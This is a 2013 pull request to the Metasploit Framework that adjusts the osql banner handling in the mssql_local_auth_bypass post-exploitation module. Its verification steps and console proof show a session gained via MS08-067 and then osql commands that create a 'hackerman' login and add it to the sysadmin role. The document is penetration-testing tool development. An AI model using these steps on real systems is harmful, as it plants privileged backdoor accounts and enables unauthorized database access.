rapid7/metasploit-framework — pull request #1692 by todb-r7 (2013-04-01 04:26:32+00:00)
Title: Deal with other osql banners and responses

Not sure where those other banners come from, but keeping them as
positive responses regardless.

## Verification

- [ ] Generate a session to a MSSQL host using Meterpreter. MS08-067 will do if you have a vulnerable target (I'm using Win2k3 Enterprise).
- [ ] Run mssql_local_auth_bypass and see a successful result.

## Proof

````
msf exploit(ms08_067_netapi) > use post/windows/manage/mssql_local_auth_bypass
msf post(mssql_local_auth_bypass) > show options

Module options (post/windows/manage/mssql_local_auth_bypass):

Name Current Setting Required Description
---- --------------- -------- -----------
DB_PASSWORD yes Password for new sysadmin login
DB_USERNAME yes New sysadmin login
INSTANCE no Name of target SQL Server instance
REMOVE_LOGIN false no Remove DB_USERNAME login from database
SESSION yes The session to run this module on.
VERBOSE false no Set how verbose the output should be

msf post(mssql_local_auth_bypass) > set db_username hackerman
db_username => hackerman
msf post(mssql_local_auth_bypass) > set db_password password1
db_password => password1
msf post(mssql_local_auth_bypass) > set session 1
session => 1
msf post(mssql_local_auth_bypass) > set verbose true
verbose => true
msf post(mssql_local_auth_bypass) > exploit

[*] Running module against USER-CH1Y9QPIKW
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to add new login hackerman...
[*] o MSSQL Service instance: MSSQLSERVER
[*] Running command:
[*] osql -E -S USER-CH1Y9QPIKW -Q "sp_addlogin 'hackerman','password1'"
[+] Successfully added login "hackerman" with password "password1"
[*] Attempting to make hackerman login a sysadmin...
[*] Running command:
[*] osql -E -S USER-CH1Y9QPIKW -Q "sp_addsrvrolemember 'hackerman','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end "
[+] Successfully added "hackerman" to sysadmin role
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >

````